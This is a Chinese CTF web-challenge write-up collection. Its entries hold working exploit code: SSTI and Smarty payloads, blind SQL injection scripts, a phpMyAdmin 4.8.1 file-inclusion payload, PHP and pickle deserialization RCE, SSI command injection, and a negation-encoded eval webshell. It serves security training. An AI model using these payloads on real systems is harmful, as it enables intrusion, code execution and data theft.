$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

看着有两个漏洞点,一个是读取文件,一个是命令执行,但是读取文件被过滤了flag,cmd也有正则。

考点就是md5强碰撞,以及用\绕过正则。

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){    】
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){ 、
    exit($is);
}

echo "the flag is: ".$flag;

第一个exit满足条件为GET方式传入的参数钟,GET方式传参flag=flag且变量名不能有flag。

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  
        exit($handsome);
    }
}

第二个exit满足条件为同时没有设置GET和POST的flag变量。然而这会与include传入的flag变量出现命名冲突。

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 
    exit($yds);
}

第三个exit满足POST和GET两种方式中的一种传入值为flag。

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){  
    exit($is);
}

实际上如果满足了三个exit到达最后的输出,flag这个变量是已经被覆盖的。这里就要利用PHP的命名变量覆盖来进行绕过,防止污染变量作用域。

这里的解法还是有挺多种的,我用的:

GET 
is=flag&flag=flag

先用is=flag覆盖掉$is,再触发第三个exit条件。

[BJDCTF2020]The mystery of ip

一直在尝试注入PHP,没想到是SSTI……

GET /flag.php?shell=ls HTTP/1.1
Host: node3.buuoj.cn:27022
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
X-Forwarded-For: {system('cat /flag')}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://node3.buuoj.cn:27022/hint.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

[BJDCTF2020]ZJCTF,不过如此

前面两个考察的是PHP两个伪协议,比较简单,然后获得next.php源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

这里对我来说是一个比较陌生的知识点

关于这个绕过,安全客有详细的文章,代码大体相同

深入研究preg_replace与代码执行

preg_replace()函数主要结构如下

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

匹配subject对象的参数pattern,将其用replacement替换。

/e 修正符使 preg_replace()replacement 参数当作 PHP 代码。

再看下题目中这段代码

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

这段代码将键名键值分别代入,如果我们传入变量.*={${phpinfo();}},代入替换,有:

return preg_replace((.*),'strtolower("\\1")',{${phpinfo();}})

匹配后成功执行phpinfo();

然而PHP对传入的$_GET非法参数变量名,会将.转化为_替代。

所以将通配符换成另一种形式的通配符即可。

\S*=${phpinfo()}

[De1CTF 2019]SSRF Me

源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16) # 随机生成16位随机数

class Task:
    def __init__(self, action, param, sign, ip): # task对象的__init__方法,其中根据传入的ip的md5生成沙盒
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self): # task对象的Exec方法,分别对sign以及action进行判断,分别执行scan以及read操作
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self): # 检查签名是否正确
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) # 路由/geneSign 返回Sign的值
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) # 路由/De1ta 执行函数exec
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/') # 源码
def index(): 
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

分析代码逻辑大致如下

# 沿着路由走的话
# 路由 ('/') 获得网站源码
@app.route('/') 
def index(): 
    return open("code.txt","r").read()

# 路由 ('/geneSign') GET方式获得param,action默认为"scan",传入getSign
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

# 函数 getSign(action, param) 返回md5(secert_key + param + action)
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

# 路由 ('/De1ta')  通过cooies传入action以及sign,通过get传入param,获得ip
@app.route('/De1ta',methods=['GET','POST']) 
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
# 函数 waf(param) 如果存在gopher伪协议或file伪协议
def waf(param): 
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
# 最后执行exec

再看看关键的检验签名函数

# 函数 getSign(action, param) 返回md5(secert_key + param + action)
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

首先我们先生成签名

/geneSign?param=flag.txtread

由于最后我们要调用的是read函数读flag.txt,但是在生成签名时的action参数为”scan”,所以我们要传入”read”,这样生成的签名就包括了”scan”以及”read”。

[ASIS 2019]Unicorn shop

初步尝试后,他会告诉你只能输入一位字符(靶场环境有一点问题)。

所以推测是第四个是flag。

这里涉及到utf-8编码的转换安全,传入一个value大于1337的字符即可。

https://www.compart.com/en/unicode/U+10123

[0CTF 2016]piapiapia

这题挺有意思的

扫描之后发现目录中有www.zip,审计源码

先看config.php,查看配置文件:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

看到配置文件有$flag变量,接着查看class.php文件,可以看到有两个类,类mysql封装SQL的函数,类user为mysql的拓展类,其中mysql类中封装的函数有WAF。

审计其他文件,在profile.php文件中找到关键代码。

$photo = base64_encode(file_get_contents($profile['photo']));

该变量$profile的反序列化操作之后,将变量$profile[‘photo’]进行了文件读取操作,接着在HTML代码中直接echo该变量,剩下的就是研究怎么把config.php填充到这个变量了。

传入参数后,调用函数update_profile():

public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
}

查看过滤函数,对传入的三个值进行了过滤,其中第三个传入的$nickname参数可以通过数组绕过。

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');
public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

总共是存在三个正则。第一个正则检验所有非字母值,且限制了长度,这里可以通过PHP类型-数组绕过这里的检验。

绕过了之后传入了mysql的filter函数,这里的函数将所有传入的值进行了过滤,如果存在关键字,将关键字替换为”hacker”。这里的替换应该都比较熟悉了,可以使用反序列化逃逸,逃逸后长度将代替字符";}s:5:"photo";s:10:"config.php";},总共34个字符,所以传入34个where

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

查看profile.php拿到flag。

[GWCTF 2019]我有一个数据库

没猜到有个数据库。

访问页面/phpmyadmin/,没有密码,不过也没有表,找一下版本号4.8.1,找CVE打。

下载4.8.1的源码。由于找不到,直接把题目环境扒下来了。

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

看一下index.php的代码,当传入的 $_REQUEST['target']

  • 不为空
  • 是一个字符串
  • 不含有 index
  • 不包含import.phpexport.php
  • 通过checkPageValidity函数

进入core.php,查看代码

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

注意到最后$page的值又经过了一次url解码,当参数通过$_REQUEST方式传入时,已经经过了一次url解码,这里又进行了第二次解码后,可以直接利用二次编码?绕过(有意思的是这段代码某比赛专门出了一题CTF用来考),接着传入文件包含。

payload

?target=db_datadict.php%253f/../../../../../../../../flag

[网鼎杯 2020 朱雀组]phpweb

每隔5秒发送一个包,提交包括call_user_func(func, args)的两个参数

尝试提交 system(ls -a) 发现存在WAF。读取源码

func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    else {
        die("Hacker...");
    }
}
?>

尝试读取flag文件,但是没有找到flag文件。

最后在tmp目录下,利用反序列化读取文件

<?php
class Test{
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
}

$test = new Test();

echo(serialize($test));

[BJDCTF 2nd]假猪套天下第一

这题东西比较多

首先是登录,通过抓包看注释可以看见有一个L0g1n.php文件访问。

访问后,cookie中存在一个time,提示要99年后登录,修改cookie值即可。

接着分别修改Client-IP、referer。

要求使用浏览器commmodo 64,查了一下他的user agent为Commodore 64。

要求邮箱为root@gem-love.com,这里用了Form知识点,以前没了解过。

最后需要代理服务器,添加via。

[安洵杯 2019]easy_serialize_php

source_code:

<?php
// 提交$f参数
$function = @$_GET['f'];
// 过滤函数$img 将关键字替换为""
function filter($img)
{
    $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
    $filter = '/' . implode('|', $filter_arr) . '/i';
    return preg_replace($filter, '', $img);
}


if ($_SESSION) {
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
// 支持POST传参
extract($_POST);

if (!$function) {
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

// 先对图片数据进行编码
if (!$_GET['img_path']) {
    $_SESSION['img'] = base64_encode('guest_img.png');
} else {
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

// 序列化后过滤函数
$serialize_info = filter(serialize($_SESSION));

// 反序列化后读取文件
if ($function == 'highlight_file') {
    highlight_file('index.php');
} else if ($function == 'phpinfo') {
    eval('phpinfo();'); //maybe you can find something in here!
} else if ($function == 'show_image') {
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

审计代码,查看phpinfo,可以看到存在疑似flag文件。

接下来尝试的就是如何读取文件了。由于传入$img_path会被base64编码后哈希加密,所以无法通过该变量读取文件。

审计一下代码逻辑。首先程序支持POST方式传参。先将图片数据进行编码,序列化$_SESSION的值之后调用filter函数,将关键字通过空格代替。接着反序列化变量,base64解码decode变量。

这边有一个比较明显的漏洞就是先调用序列化再执行filter函数,导致反序列化字符串逃逸。

这里利用了值逃逸,参考

POST参数

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

然后改BASE64编码,长度一样。

[WesternCTF2018]shrine

源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

可以读取到的信息:

  • 配置信息:服务器是python的flask模板,config内有FLAG参数。
  • 路由信息:根目录返回文件源码;/shrine/<path:shrine>下存在模板注入。
  • 过滤了两个黑名单config、self,过滤了括号。
  • 开启了debug模式。

想读取config,但是发现被过滤了,这个时候就要考虑flask模板下的两个重要参数。

  • {{url_for.__global__}} # 全局函数
  • {{get_flashed_messages()}} # 内置函数

获取flag方式:

{{url_for.__global__['current_app'].config['FLAG']}}

或者

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

该函数返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

[BJDCTF 2nd]简单注入

我又没有看到hint.txt,真是搞人心态。

拿到数据库查询代码:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

这个就比较好分析了,提交参数username时,使用反斜杠注释单引号,使用注释绕过空格过滤:

username=admin\&password=/**/or/**/1>0#
username=admin\&password=/**/or/**/1<0#

执行两段话可以得到不一样的回显,很容易想到可以用盲注。

import requests

url = "http://0dafba8b-3cf1-4b74-9b9a-9195b5f5e6b0.node3.buuoj.cn/index.php"


def submit1():
    data = {"username": "admin\\", "password": ""}
    result = ""
    i = 0
    while True:
        i = i + 1
        for j in range(32, 128):
            payload = "or/**/if(ascii(substr(password,%d,1))<%d,1,0)#" % (i, j)
            data['password'] = payload
            response = requests.post(url=url, data=data)

            if "stronger" in response.text:
                result += chr(j - 1)
                print(payload)
                print(result)
                break
            else:
                if j == 127:
                    return result


def submit2():
    data = {"username": "admin\\", "password": ""}
    result = ""
    i = 0
    while True:
        i = i + 1
        head = 32
        tail = 127

        while head < tail:
            mid = (head + tail) >> 1
            payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid)
            data['password'] = payload
            response = requests.post(url=url, data=data)

            if "stronger" in response.text:
                head = mid + 1
            else:
                tail = mid

        if head != 32:
            result += chr(head)
        else:
            break
        print(result)
    return result


if __name__ == "__main__":
    print(submit1())

[WUSTCTF2020]朴实无华

先访问index.php,云里雾里的警告提示。

手动尝试找了几个敏感文件,发现存在robots.txt,访问得假flag。

没啥头绪,有点离谱,后来看wp知道网络中文件头存在提示,又不细心了。

访问拿到源码,比较烦的是编码解析问题,需要换个编码。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士,不是想看时间,只是想不经意间,让你知道我过的比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
        echo "想到这个CTFer拿到flag后,感激涕零,跑去东澜岸,找一家餐厅,把厨师轰出去,自己炒两个拿手小菜,倒一杯散装白酒,致富有道,别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友,他打了电话,把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里,我充实而欣慰,有钱人的快乐往往就是这么的朴实无华,且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

第一关需要变量num小于2020,且+1后大于2021。很容易想到是PHP弱类型比较。intval() 函数将括号内的值转换为整型,可以通过科学计数法来进行绕过。

注意这个绕过方式只能在PHP5.5的版本进行复现,我在PHP7的版本及以上复现失败。

echo intval(1e10);    // 10000000000
echo intval('1e10');  // 1

提交payload:

num=2e4

第二关是MD5等于自身的绕过方式,这类的值在网上有很多,原理是0e开头的值可以绕过。

md5=0e215962017

第三关是命令注入,但是过滤了 cat 和空格,空格可以使用 $IFS 代替,cat 可以用 tac

get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[极客大挑战 2019]FinalSQL

这老哥出的题做了好几次 了,一模一样的模板。

有id参数,长着就像盲注。

exp:

import requests


if __name__ == "__main__":
    string = ""
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
            url = f'http://a10fc172-5571-460a-9f76-93eb2e9486fd.node3.buuoj.cn/search.php?id={sql}'
            # print(url)
            response = requests.get(url)
            if response.text.find("NO! Not t") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        string += chr(mid)
        print(string)

爆库名

sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)

爆表名

sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1" % (i, mid)

爆字段

sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)

拿flag

            sql = "1^(ord(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%d,1))>%d)^1" % (i, mid)

然后发现爆错表了2333……

            sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)

最后,鄙视一下盲注题打广告的出题人……太浪费时间了。

[MRCTF2020]PYWebsite

[NPUCTF2020]ReadlezPHP

简单的反序列化变量覆盖。

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

[BJDCTF2020]EasySearch

今天又是不开扫描器败北的一天。

.swp源码泄露。

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

老规矩分析一下源码,当password满足一定的条件时,将username写入文件public/get_hash(),shtml。

先爆破一下admin:

import hashlib


def md5(string):
    return hashlib.md5(string.encode('utf-8')).hexdigest()


for i in range(10000000):
    if md5(str(i))[:6] == '6d0bc1':
        print(i)
        break

爆出来是2020666,提交后,通过抓包可以看到返回的值中有隐藏的文件名

直接访问可以读取文件。

这里涉及到了一个比较陌生的文件格式即shtml,可能存在SSI注入,详见:

https://shuaizhupeiqi.github.io/2018/11/17/SSI%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B3%A8%E5%85%A5/

当我们传入参数

username=<!--#exec cmd="ls ../"-->
password=2020666

时,将命令执行结果写入文件(这里有一层目录穿越),访问可得:

读取flag

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
password=2020666

[GYCTF2020]FlaskApp

起先我以为是利用flask报错的交互式shell,但是Ping值还是缺了那么几个信息。

最后试了一下在解密过程中存在SSTI。

{{config}}

遍历找利用类读取文件(写成payload时要删除换行):

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
    {% endif %}
{% endfor %}

或者写个py脚本遍历也是可以的,不过很花时间:

{{[].__class__.__base__.__subclasses__()[%s].__name__}}

拿到WAF:

def waf(str): 
  black_list = ['flag', 'os', 'system', 'popen', 'import', 'eval', 'chr', 'request', 'subprocess', 'commands', 'socket', 'hex', 'base64', '*', '?']
  for x in black_list: 
    if x in str.lower(): 
      return 1

遍历目录:遍历目录存在函数listdir()。

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}
    {% endif %}
{% endfor %}

拿到目录

 [&#39;bin&#39;, &#39;boot&#39;, &#39;dev&#39;, &#39;etc&#39;, &#39;home&#39;, &#39;lib&#39;, &#39;lib64&#39;, &#39;media&#39;, &#39;mnt&#39;, &#39;opt&#39;, &#39;proc&#39;, &#39;root&#39;, &#39;run&#39;, &#39;sbin&#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;tmp&#39;, &#39;usr&#39;, &#39;var&#39;, &#39;this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

读取this_is_the_flag.txt文件。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}

这题编码很迷惑,{}之间不能有空格,不然会报错,read()函数后又必须加空格,也不清楚啥原理。

[CISCN2019 华北赛区 Day1 Web2]ikun

爆lv6

import requests

for i in range(512):
    url = f"http://78cd9dcd-96d8-4fb8-9785-be448ad9dc9e.node3.buuoj.cn/shop?page={i}"
    response = requests.get(url=url)
    if response.text.find("lv6.png") != -1:
        print(i)
        break

在181页,抓包修改折扣倍率,跳转到b1g_m4mber,提示需要admin才能访问

抓包发现是JWT认证

使用c-jwt-cracker爆破

$ docker build . -t jwtcrack
$ docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.dDz06h0lkd5_0DT8vUVcGLBGvX2btxx2AyJJCQWkEoQ
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

有源码泄露

在Admin.py中找到反序列化点。

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

python反序列化只是听过,没有实战过。__reduce__方法在反序列化时被调用,类似PHP的wakeup,参考王叹之的脚本。

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

比较重要的是这题的环境是python2的,python2和python3的反序列化是不一样的,当时卡了比较久。

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

[WUSTCTF2020]颜值成绩查询

盲注乱杀

import requests

if __name__ == "__main__":
    result = ""
    i = 0
    while True:
        i = i + 1
        head = 32
        tail = 127

        while head < tail:
            mid = (head + tail) >> 1
            # sql = "select(database())"
            # sql = "select/**/group_concat(distinct/**/TABLE_NAME)from(information_schema.tables)where(table_schema='ctf')"
            # sql = "select/**/group_concat(distinct/**/COLUMN_NAME)from(information_schema.columns)where(table_schema='ctf')and(table_name='flag')"
            sql = "select/**/group_concat(value)from(ctf.flag)"
            payload = "1^(ascii(substr((%s),%d,1))>%d)^1" % (sql, i, mid)
            url = "http://14753567-1903-42c7-ba3e-0e698232711b.node3.buuoj.cn/?stunum=" + payload
            response = requests.get(url=url)
            # print(url)
            # print(response.text)

            if "Hi admin, your score is: 100" in response.text:
                head = mid + 1
            else:
                tail = mid

        if head != 32:
            result += chr(head)
        else:
            break
        print(result)

[CISCN2019 华东南赛区]Web11

smarty模板注入,没有过滤,payload:

{if show_source('/flag')}{/if}
{readfile('/flag')}

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
?>

无字母shell题,第一反应就是P牛的那篇文章了。利用取反获得。

<?php
	echo urlencode(~'phpinfo');

//?code=(~%8F%97%8F%96%91%99%90)();

读取phpinfo文件,可以发现禁用了大部分命令执行的函数。

同理,执行回调函数,蚁剑连接。

<?php 
error_reporting(0);

$a=urlencode(~'assert');

$b=urlencode(~'(eval($_POST["a"]))');

echo '(~' . $a . ')(~' . $b . ');';
 
 ?>

发现没有权限读取flag,但是有readflag文件,应该是利用该文件读取,但是本地虚拟终端执行没有回显。

